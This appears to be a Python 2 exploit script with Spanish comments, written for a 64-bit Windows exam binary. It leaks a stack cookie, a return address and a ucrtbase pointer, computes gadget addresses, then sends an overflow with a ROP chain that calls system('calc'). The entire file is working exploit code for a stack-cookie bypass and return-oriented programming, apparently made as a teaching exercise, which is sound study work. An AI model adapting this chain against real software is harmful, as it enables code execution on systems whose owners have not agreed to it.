import struct
import random, string
from os import popen4
import time

a=open("fichero.dat", "wb")
a.write("")
a.close()

stdin,stdout = popen4(r"EXAMEN_23_64_bits_version_b.exe")
print stdin

###SOLO FUNCIONA EN UNA VERSION DE LA DLL UCRTBASE 10.0.10586.7888 en WINDOWS 7

#TIRO 1 ---------------------------------------------

tiro_1=struct.pack("<L", 0x41414141) + "\n"

cadena = tiro_1

print "Escribe: " + cadena
stdin.write(cadena)
time.sleep(1)


# OBTENER LEAKS--------------------------------------

a=open("fichero.dat", "rb")
b=a.read()
a.close()

leak_cookie=b[209:209+8]
leak_cookie=struct.unpack("<Q",leak_cookie)[0]



leak_return=b[233:233+8]
leak_return=struct.unpack("<Q",leak_return)[0]



leak_dll=b[225:225+8]
leak_dll=struct.unpack("<Q",leak_dll)[0]
writable_address=leak_dll+0x160

p_system=leak_dll-0x40b34
p_exit= leak_return+ 0xb

image_base_ucrt=leak_dll-0xe59f4

print "COOKIE= %s"%hex(leak_cookie)
print "RETURN_ADDRESS_ORIGINAL= %s"%hex(leak_return)
print "LEAK_UCRT= %s"%hex(leak_dll)
print "WRITABLE_ADDRESS= %s"%hex(writable_address)
print "PUNTERO_EXIT= %s"%hex(p_exit)
print "IMAGE_BASE_UCRT= %s"%hex(image_base_ucrt)


#TIRO 2----------------------------------------------

raw_input()

# Generated by IDA Sploiter
rop_chain  = struct.pack('<Q', image_base_ucrt+0x1f190) # pop rcx # retn
rop_chain += struct.pack('<Q', writable_address)   # writable_adress
rop_chain += struct.pack('<Q', image_base_ucrt+0x1b733) # pop rax # retn
rop_chain += struct.pack('<Q', 0x00000000636C6163) # calc
rop_chain += struct.pack('<Q', image_base_ucrt+0x270e4) # mov [rcx], rax # xor eax, eax # retn
rop_chain += struct.pack('<Q', p_system) # ret to system
rop_chain += struct.pack('<Q', p_exit) # return from_system



tiro_2= struct.pack("<L", 0x41424344) + 204* "A"+ struct.pack("<Q", leak_cookie)+ 16* "B"+ rop_chain+ "\n\n"

cadena=tiro_2

print "Escribe: " + cadena
stdin.write(cadena)
time.sleep(1)